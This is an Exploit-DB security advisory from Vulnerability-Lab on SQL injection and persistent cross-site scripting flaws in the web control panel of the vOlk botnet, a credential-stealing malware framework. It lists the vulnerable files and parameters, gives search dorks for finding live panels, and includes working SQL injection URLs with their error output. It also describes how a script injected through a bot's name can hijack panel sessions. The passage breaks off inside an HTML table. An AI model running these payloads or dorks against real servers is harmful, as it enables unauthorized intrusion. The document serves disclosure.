Exploit-DB #21891
Description: vOlk Botnet Framework 4.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-10-11
Author: Vulnerability-Lab

Exploit:
Title:
======
vOlk Botnet Framework v4.0 - Multiple Web Vulnerabilities


Date:
=====
2012-10-09


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=721


VL-ID:
=====
721


Common Vulnerability Scoring System:
====================================
8.3


Introduction:
=============
vOlk-Botnet v4.0 is a remote administration tool, its main function is to manage the HOSTS file of the windows 
operating systems The code created by [byvOlk] PHP and Visual Basic 6.0.

Features:
[+] Add Startup
[+] Download & Execute.
[+] Visit Webpage [Visible].
[+] Visit Webpage [Invisible].
[+] Mutex
[+] Stealer FTP(Filezilla)
[+] Msn Stealer(Messenger Save User)
[+] Statistics Bot s


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the vOlk-Botnet framework application v4.0 private edition.


Report-Timeline:
================
2012-10-09:	Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
1.1
The vulnerability laboratory research team discovered multiple sql injection vulnerabilities in the vOlk-Botnet framework application v4.0 private edition.
The sql vulnerabilities allow remote attackers to inject/execute own sql commands/statements on the affected vOlks botnet application control panel dbms.
The vulnerabilities are located in the Messenger, Filezilla, Estadisticas files with the bound vulnerable ?pag listing parameter. The vulnerability can 
be exploited by remote attackers without required user inter action. Successful exploitation of the vulnerabilities result in botnet control panel 
compromise via remote sql injection attack.

Vulnerable Files(s):
				[+] Messenger.php
				[+] Filezilla.php
				[+] Estadisticas.php

Vulnerable Parameter(s):
				[+] pag


1.2
The vulnerability laboratory research team discovered multiple persistent web vulnerabilities in the vOlk-Botnet framework application v4.0 private edition.
The input validation vulnerabilities allow remote attackers to inject own malicious persistent script code on application side of the botnet framework.
The vulnerabilities are located in the Visit Webpage (Open URL), MSN Stealer, Download File and Setting modules with the bound vulnerable domin, 
Pasw, https or messenger bot s name parameters. The vulnerability can be exploited by remote attacker with low or medium required user inter action. 
Successful exploitation of the vulnerabilities result in botnet control panel compromise via session hijacking, persistent web context manipulation or 
combined csrf request manipulation.

Vulnerable Module(s):
				[+] MSN Stealer
				[+] Visit Webpage (Open URL)
				[+] Download File
				[+] Setting

Vulnerable Parameter(s):
				[+] Name -  Bot s Name
				[+] URL - Open URL Bots
				[+] URL - Download url
				[+] Password Administrator &  User Administrator




Dork CodeSearch:  <p><font color=``#FFFFFF`` face=``Tahoma`` size=``1``>vOlk-Botnet 4.0</font></p>``   or ``<title>[vOlk-Botnet]v 4.0 Login</title>``
DorK Google:	  allinurl:vOlk-Botnet 4.0    or  subtitle:[byvOlk] - WebAdmin Panel � vOlk-Botnet 4.0    and  allinurl:WebAdmin/archivos/imagen/logo.jpg


Proof of Concept:
=================
1.1
The sql injection vulnerabilities can be exploited by remote attacker without privileged application user account and without 
required user inter action. For demonstration or reproduce ...

http://[SERVER]/images/WebAdmin/Controladores/Messenger.php?pag=-1%27%20union all select id from pharming--
http://[SERVER]/images/WebAdmin/Controladores/Filezilla.php?pag=-1%27%20union all select id from pharming--
http://[SERVER]/images/WebAdmin/Vistas/Estadisticas.php?pais=-1%27%20union all select id from pharming--

--- SQL Exceptions ---
Sentencia Incorrecta : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right 

syntax to use near '-100 , 100' at line 1
---
Sentencia Incorrecta : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right 
syntax to use near ''-1'' ORDER BY fecha DESC LIMIT 0 , 45' at line 1
---
Sentencia Incorrecta : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right 
syntax to use near '-200 , 100' at line 1
--
SELECT * FROM zombis
SELECT * FROM pharming


1.2
The persistent script code inject vulnerabilities can be exploited by remote attackers without privileged application user account but with 
low or medium required user inter action. For demonstration or reproduce ...

MSN Stealer:
The msn stealer module inside of the application displays the Bot's Name unsanitized. To infect the attacker back the victim can simulate a 
fake msn account login on a infected system with malicious persistent script code as Bot's Name. The result is a persistent script code execution 
out of Bot's Name web context in the messenger listing. The victim can hijack the vOlks Botnet Panel sessions or manipulate the framework with 
own malicious persistent context to stop, block, take over or disable the service.
  
Review: MSN STEALER - BOTS NAME

<tbody><tr>
    <td width="2%"><div align="center">
	<font color="#FFFFFF" face="Verdana" size="1"><b>ID</b></font></div></td>
    <td width="12%"><div align="center"><b>
		<font color="#FFFFFF" face="Verdana" size="1">Bot's Name
	</font>  </b>  </div></td>
	<td width="6%"><div align="center"><b>
		<font color="#FFFFFF" face="Verdana" size="1">Pais
	</font>  </b>  </div></td>
		<td width="79%"><div align="center"><b>
			<font color="#FFFFFF" face="Verdana" size="1">Login de msnmsgr.exe
	</font>  </b>  </div></td>
  </tr>
	 <tr>
	    <td><div align="center"><font color="#CCCCCC">1</font></di